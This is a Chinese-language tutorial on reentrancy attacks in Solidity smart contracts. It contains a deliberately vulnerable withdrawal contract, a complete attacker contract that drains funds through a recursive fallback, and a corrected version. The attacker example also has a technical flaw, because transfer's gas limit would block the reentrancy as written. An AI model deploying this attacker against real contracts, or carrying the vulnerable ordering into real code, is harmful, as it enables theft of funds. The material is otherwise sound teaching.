智能合约中重入攻击

简介: 智能合约中重入攻击

1. 重入攻击:

攻击者利用合约在执行过程中的未锁定状态,通过递归调用合约中的函数,重复提取资金或资源。

示例

我们将使用以太坊的智能合约语言 Solidity 来创建一个简单的捐赠合约,然后展示一个潜在的重入攻击合约。首先,我们创建一个接收捐赠的合约,这个合约有一个余额,并且允许用户提款。这个合约的代码可能看起来像这样

pragma solidity ^0.8.0;
contract VulnerableDonation {
    mapping (address => uint) public balances;
    address payable public owner;
    constructor() {
        owner = payable(msg.sender);
    }
    function donate() public payable {
        // 接收捐赠
        balances[msg.sender] += msg.value;
    }
    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        // 这里应该先减少余额,再转账,但是顺序颠倒了
        msg.sender.transfer(_amount);
        balances[msg.sender] -= _amount;
    }
}

注意这里的问题是在 withdraw 函数中,我们首先尝试向用户转账,然后才减少他们的余额。这是不安全的,因为转账操作会触发接收方的 receive 或 fallback 函数,这给攻击者提供了机会来调用 withdraw 函数再次提款。

现在让我们创建一个攻击者合约,它可以利用这个漏洞:

pragma solidity ^0.8.0;
contract Attacker {
    VulnerableDonation donationContract;
    constructor(address _donationAddress) {
        donationContract = VulnerableDonation(_donationAddress);
    }
    fallback() external payable {
        if (address(this).balance > 0) {
            // 递归调用 withdraw 函数,只要还有余额就继续提款
            donationContract.withdraw(address(this).balance);
        }
    }
    function attack() public payable {
        // 第一次调用 donate 函数向捐赠合约存入资金
        donationContract.donate{value: msg.value}();
        // 然后立即调用 withdraw 函数开始重入攻击
        donationContract.withdraw(address(this).balance);
    }
}

在攻击者合约中,fallback 函数会在接收到资金时自动触发,如果合约中还有余额,它会递归地调用捐赠合约的 withdraw 函数,试图尽可能多地提款,直到没有剩余的资金可以转移为止。

为了确保合约的安全,正确的做法是在转账前减少用户的余额,这可以通过简单地调整 withdraw 函数的顺序来实现:

function withdraw(uint _amount) public {
    require(balances[msg.sender] >= _amount, "Insufficient balance");
    balances[msg.sender] -= _amount;
    // 转账应该在更新状态变量之后
    msg.sender.transfer(_amount);
}

这样,即使攻击者尝试在转账之前再次调用 withdraw 函数,他们也会发现自己的余额已经被更新,从而无法再次提款。

相关文章
|
12月前
|
Cloud Native Go
你确定没有滥用 goroutine 吗
你确定没有滥用 goroutine 吗
|
10天前
|
存储 安全 网络安全
网络安全的屏障与钥匙:漏洞防御与加密技术深度解析
【10月更文挑战第20天】在数字世界的迷宫中,网络安全是守护我们数据宝藏的坚固盾牌和锋利钥匙。本篇文章将带您穿梭于网络的缝隙之间,揭示那些潜藏的脆弱点—网络安全漏洞,同时探索如何通过现代加密技术加固我们的数字堡垒。从基本概念到实战策略,我们将一同揭开网络安全的神秘面纱,提升您的安全意识,保护个人信息不受侵犯。
43 25
|
6天前
|
存储 安全 网络安全
网络安全的屏障与钥匙:漏洞、加密与意识
【10月更文挑战第25天】在数字时代的迷宫中,网络安全是守护我们数据宝库的坚固盾牌和锋利之剑。本文将带你穿梭于网络的森林,探寻那些潜藏的陷阱—安全漏洞,学习如何用加密技术的锁链保护信息宝藏,并唤醒每位网络行者的安全意识。我们将一同见证,网络安全并非遥不可及的黑科技,而是生活中的点点滴滴,从简单的密码管理到复杂的数据防护,每一步都能构筑起防御的高墙。
10 1
|
2月前
|
SQL 安全 网络安全
网络安全的屏障与钥匙:漏洞防护与加密技术解析
【9月更文挑战第22天】在数字时代的浪潮中,网络安全和信息安全成为维护个人隐私与企业资产的重要防线。本文将深入探讨网络安全漏洞的成因与防范措施,分析加密技术在信息安全中的应用,并强调提升安全意识的必要性。通过实例分析,我们将了解如何构建坚固的网络防御体系,以及在日益复杂的网络环境中保持警觉的重要性。
|
2月前
|
安全 算法 网络安全
网络安全的屏障:漏洞、加密与意识
【9月更文挑战第2天】在数字时代的浪潮中,网络安全如同一道防线,守护着信息世界的安宁。本文旨在深入探讨网络安全的核心要素:漏洞管理、加密技术和安全意识。我们将从网络安全漏洞的类型和防范措施入手,逐步过渡到加密技术的原理和应用,最后强调提升个人和企业的安全意识的重要性。通过深入浅出的分析,揭示这些要素如何协同工作,共同构建起坚不可摧的网络防御体系。
|
3月前
|
存储 安全 网络安全
网络安全的屏障与钥匙:漏洞、加密与意识的交织
【8月更文挑战第26天】在数字化浪潮中,网络安全成为保护数据和隐私的关键。本文深入探讨网络安全中的漏洞挖掘、加密技术的应用,以及提升个人和组织的安全防护意识的重要性。通过实例分析,我们揭示了网络攻击者如何利用漏洞进行入侵,展示了加密技术如何在数据传输和存储中起到防护作用,并强调了培养安全意识的必要性。文章旨在为读者提供一套综合性的网络安全防护策略,帮助构建更安全的网络环境。
|
2月前
|
安全 网络协议 网络安全
网络安全的屏障与钥匙:漏洞、加密与安全意识
在数字时代的浪潮中,网络安全成为了保护个人与企业资产的关键。本文将深入浅出地探讨网络安全中的三大要素:网络漏洞、加密技术以及安全意识。我们将从实际案例出发,分析常见的网络攻击手段和防范策略,揭示加密技术的原理及其在数据保护中的应用,并强调培养良好安全习惯的重要性。通过本文,读者将获得实用的网络安全知识,为个人信息安全筑起一道坚固的防线。
34 0
|
4月前
|
存储 安全 网络安全
网络安全的屏障与钥匙:漏洞、加密技术与安全意识
在数字世界的无垠海洋中,网络安全犹如一艘航船的坚固船体,保护着信息资产不受风浪侵袭。本文将剖析网络安全中的薄弱环节—漏洞,探讨加密技术这一守护神如何为数据安全加锁,并强调安全意识在防范潜在风险中的重要性。通过深入浅出的分析,旨在提升公众对网络安全重要性的认识,并促进更安全的网络环境构建。
|
3月前
|
安全 算法 网络安全
网络防御的屏障与钥匙:深入网络安全漏洞与加密技术
在数字化时代,网络安全成为保护个人隐私和企业资产的核心。本文将探讨网络安全漏洞的成因与影响,解析加密技术如何加固信息安全,并强调提升安全意识的必要性。通过具体案例分析,揭示网络攻击的常见手段和防范措施,引导读者理解并实践更有效的安全策略。
|
4月前
|
安全 算法 网络安全
网络防御的屏障:漏洞、加密与安全意识
在数字化时代,网络安全和信息安全成为全球关注的焦点。本文将深入探讨网络安全中的漏洞发现、加密技术的应用以及提升个人和组织的网络安全意识的重要性。通过分析近年来的网络攻击案例,我们揭示了网络漏洞的危害,并介绍了当前最先进的加密方法及其在保护数据中的作用。同时,文章强调了培养安全意识的必要性,并提出了一系列实用的建议和措施来增强个人和组织的信息安全防护能力。